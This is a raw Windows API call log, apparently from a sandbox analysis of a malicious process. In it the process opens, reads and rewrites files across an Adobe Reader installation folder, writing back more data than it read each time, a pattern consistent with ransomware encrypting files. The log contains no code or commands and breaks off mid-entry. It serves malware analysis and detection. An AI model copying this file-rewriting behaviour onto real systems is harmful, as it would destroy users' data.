[0040.982] VirtualAlloc (lpAddress=0x7ef20000, dwSize=0x20000, flAllocationType=0x1000, flProtect=0x4) returned 0x7ef20000 [0040.983] SetFilePointer (in: hFile=0x198, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0xae6a63 [0040.983] ReadFile (in: hFile=0x198, lpBuffer=0x2736a68, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x2736a68*, lpNumberOfBytesRead=0x354f278*=0x2000, lpOverlapped=0x0) returned 1 [0040.984] SetFilePointer (in: hFile=0x198, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0xae6a63 [0040.986] VirtualAlloc (lpAddress=0x0, dwSize=0x70000, flAllocationType=0x101000, flProtect=0x4) returned 0x7ee30000 [0040.992] VirtualQuery (in: lpAddress=0x7eea0000, lpBuffer=0x354f258, dwLength=0x1c | out: lpBuffer=0x354f258*(BaseAddress=0x7eea0000, AllocationBase=0x7eea0000, AllocationProtect=0x4, RegionSize=0x80000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0040.992] VirtualAlloc (lpAddress=0x0, dwSize=0x90000, flAllocationType=0x101000, flProtect=0x4) returned 0x7eda0000 [0041.150] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0041.150] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0xa00 [0041.150] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0041.150] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.150] ReleaseMutex (hMutex=0x128) returned 1 [0041.150] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.CZE", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0041.150] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.CZE", cchWideChar=13, lpMultiByteStr=0x1e6312c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.CZE", lpUsedDefaultChar=0x0) returned 13 [0041.150] ReadFile (in: hFile=0x1a0, lpBuffer=0x2610668, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2610668*, lpNumberOfBytesRead=0x354f2bc*=0xa00, lpOverlapped=0x0) returned 1 [0041.152] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0041.152] WriteFile (in: hFile=0x1a0, lpBuffer=0x2737a98*, nNumberOfBytesToWrite=0xf88, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2737a98*, lpNumberOfBytesWritten=0x354f2d0*=0xf88, lpOverlapped=0x0) returned 1 [0041.152] CloseHandle (hObject=0x1a0) returned 1 [0041.152] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_POL\\Flash.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_pol\\flash.pol"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0041.152] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0041.152] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0xa00 [0041.153] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0041.153] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.153] ReleaseMutex (hMutex=0x128) returned 1 [0041.153] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.POL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0041.153] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.POL", cchWideChar=9, lpMultiByteStr=0x1e6324c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.POL", lpUsedDefaultChar=0x0) returned 9 [0041.153] ReadFile (in: hFile=0x1a0, lpBuffer=0x2610668, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2610668*, lpNumberOfBytesRead=0x354f2bc*=0xa00, lpOverlapped=0x0) returned 1 [0041.154] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0041.154] WriteFile (in: hFile=0x1a0, lpBuffer=0x2737a98*, nNumberOfBytesToWrite=0xf88, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2737a98*, lpNumberOfBytesWritten=0x354f2d0*=0xf88, lpOverlapped=0x0) returned 1 [0041.155] CloseHandle (hObject=0x1a0) returned 1 [0041.155] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUS\\QuickTime.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_rus\\quicktime.rus"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0041.155] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0041.155] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0xa00 [0041.155] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0041.155] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.155] ReleaseMutex (hMutex=0x128) returned 1 [0041.155] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.RUS", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0041.155] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.RUS", cchWideChar=13, lpMultiByteStr=0x1e6312c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.RUS", lpUsedDefaultChar=0x0) returned 13 [0041.155] ReadFile (in: hFile=0x1a0, lpBuffer=0x2610668, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2610668*, lpNumberOfBytesRead=0x354f2bc*=0xa00, lpOverlapped=0x0) returned 1 [0041.157] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0041.157] WriteFile (in: hFile=0x1a0, lpBuffer=0x2737a98*, nNumberOfBytesToWrite=0xf88, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2737a98*, lpNumberOfBytesWritten=0x354f2d0*=0xf88, lpOverlapped=0x0) returned 1 [0041.157] CloseHandle (hObject=0x1a0) returned 1 [0041.157] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_TUR\\Flash.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_tur\\flash.tur"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0041.157] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0041.157] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0xa00 [0041.158] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0041.158] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.158] ReleaseMutex (hMutex=0x128) returned 1 [0041.158] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.TUR", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0041.158] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.TUR", cchWideChar=9, lpMultiByteStr=0x1e6324c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.TUR", lpUsedDefaultChar=0x0) returned 9 [0041.158] ReadFile (in: hFile=0x1a0, lpBuffer=0x2610668, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2610668*, lpNumberOfBytesRead=0x354f2bc*=0xa00, lpOverlapped=0x0) returned 1 [0041.159] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0041.159] WriteFile (in: hFile=0x1a0, lpBuffer=0x2737a98*, nNumberOfBytesToWrite=0xf88, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2737a98*, lpNumberOfBytesWritten=0x354f2d0*=0xf88, lpOverlapped=0x0) returned 1 [0041.160] CloseHandle (hObject=0x1a0) returned 1 [0041.160] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\PPKLite.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\ppklite.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0041.160] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0041.160] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x73f263 [0041.160] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0041.160] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.160] ReleaseMutex (hMutex=0x128) returned 1 [0041.160] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLite.api", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0041.160] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLite.api", cchWideChar=11, lpMultiByteStr=0x1e6312c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLite.api", lpUsedDefaultChar=0x0) returned 11 [0041.160] ReadFile (in: hFile=0x1a0, lpBuffer=0x27bfb38, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesRead=0x354f278*=0xf000, lpOverlapped=0x0) returned 1 [0041.163] ReadFile (in: hFile=0x1a0, lpBuffer=0x27bfb38, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesRead=0x354f278*=0xf000, lpOverlapped=0x0) returned 1 [0041.165] ReadFile (in: hFile=0x1a0, lpBuffer=0x27bfb38, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesRead=0x354f278*=0x2000, lpOverlapped=0x0) returned 1 [0041.165] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x73d263 [0041.167] ReadFile (in: hFile=0x1a0, lpBuffer=0x2734838, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x2734838*, lpNumberOfBytesRead=0x354f278*=0x2000, lpOverlapped=0x0) returned 1 [0041.171] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x73d263 [0041.172] WriteFile (in: hFile=0x1a0, lpBuffer=0x271ce78*, nNumberOfBytesToWrite=0x2588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x271ce78*, lpNumberOfBytesWritten=0x354f28c*=0x2588, lpOverlapped=0x0) returned 1 [0041.172] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0041.172] WriteFile (in: hFile=0x1a0, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesWritten=0x354f28c*=0xf000, lpOverlapped=0x0) returned 1 [0041.173] WriteFile (in: hFile=0x1a0, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesWritten=0x354f28c*=0xf000, lpOverlapped=0x0) returned 1 [0041.173] WriteFile (in: hFile=0x1a0, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesWritten=0x354f28c*=0x2000, lpOverlapped=0x0) returned 1 [0041.173] CloseHandle (hObject=0x1a0) returned 1 [0041.173] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\3difr.x3d" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins3d\\3difr.x3d"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0041.173] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0041.173] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x41b90 [0041.173] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0041.174] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.174] ReleaseMutex (hMutex=0x128) returned 1 [0041.174] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="3difr.x3d", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0041.174] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="3difr.x3d", cchWideChar=9, lpMultiByteStr=0x1e6306c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3difr.x3d", lpUsedDefaultChar=0x0) returned 9 [0041.174] ReadFile (in: hFile=0x1a0, lpBuffer=0x27bfb38, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesRead=0x354f278*=0x8000, lpOverlapped=0x0) returned 1 [0041.177] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x40b90 [0041.177] ReadFile (in: hFile=0x1a0, lpBuffer=0x2737a98, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x2737a98*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.179] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x40b90 [0041.180] WriteFile (in: hFile=0x1a0, lpBuffer=0x2770388*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x2770388*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.180] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0041.180] WriteFile (in: hFile=0x1a0, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x354f28c*=0x8000, lpOverlapped=0x0) returned 1 [0041.180] CloseHandle (hObject=0x1a0) returned 1 [0041.180] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\DEXShare.spi" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\services\\dexshare.spi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0041.181] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0041.181] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x101bc5 [0041.181] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0041.181] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.181] ReleaseMutex (hMutex=0x128) returned 1 [0041.181] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.spi", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0041.181] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.spi", cchWideChar=12, lpMultiByteStr=0x1e6312c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.spi", lpUsedDefaultChar=0x0) returned 12 [0041.181] ReadFile (in: hFile=0x1a0, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x354f278*=0xf000, lpOverlapped=0x0) returned 1 [0041.590] ReadFile (in: hFile=0x1a0, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.591] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x100bc5 [0041.591] ReadFile (in: hFile=0x1a0, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.594] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x100bc5 [0041.594] WriteFile (in: hFile=0x1a0, lpBuffer=0x25c7e08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.595] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0041.595] WriteFile (in: hFile=0x1a0, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesWritten=0x354f28c*=0xf000, lpOverlapped=0x0) returned 1 [0041.596] WriteFile (in: hFile=0x1a0, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesWritten=0x354f28c*=0x1000, lpOverlapped=0x0) returned 1 [0041.596] CloseHandle (hObject=0x1a0) returned 1 [0041.596] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\ended_review_or_form.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\ended_review_or_form.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0041.597] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0041.597] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x327 [0041.597] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0041.597] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.597] ReleaseMutex (hMutex=0x128) returned 1 [0041.597] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ended_review_or_form.gif", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0041.597] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ended_review_or_form.gif", cchWideChar=24, lpMultiByteStr=0x1e7fd8c, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ended_review_or_form.gif", lpUsedDefaultChar=0x0) returned 24 [0041.597] ReadFile (in: hFile=0x1a0, lpBuffer=0x2750828, nNumberOfBytesToRead=0x327, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2750828*, lpNumberOfBytesRead=0x354f2bc*=0x327, lpOverlapped=0x0) returned 1 [0041.598] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0041.598] WriteFile (in: hFile=0x1a0, lpBuffer=0x27ac368*, nNumberOfBytesToWrite=0x8af, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x27ac368*, lpNumberOfBytesWritten=0x354f2d0*=0x8af, lpOverlapped=0x0) returned 1 [0041.598] CloseHandle (hObject=0x1a0) returned 1 [0041.599] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\reviewers.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\reviewers.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0041.599] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0041.599] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x5ac [0041.599] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0041.599] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.599] ReleaseMutex (hMutex=0x128) returned 1 [0041.599] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reviewers.gif", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0041.599] WideCharToMultiByte (in: 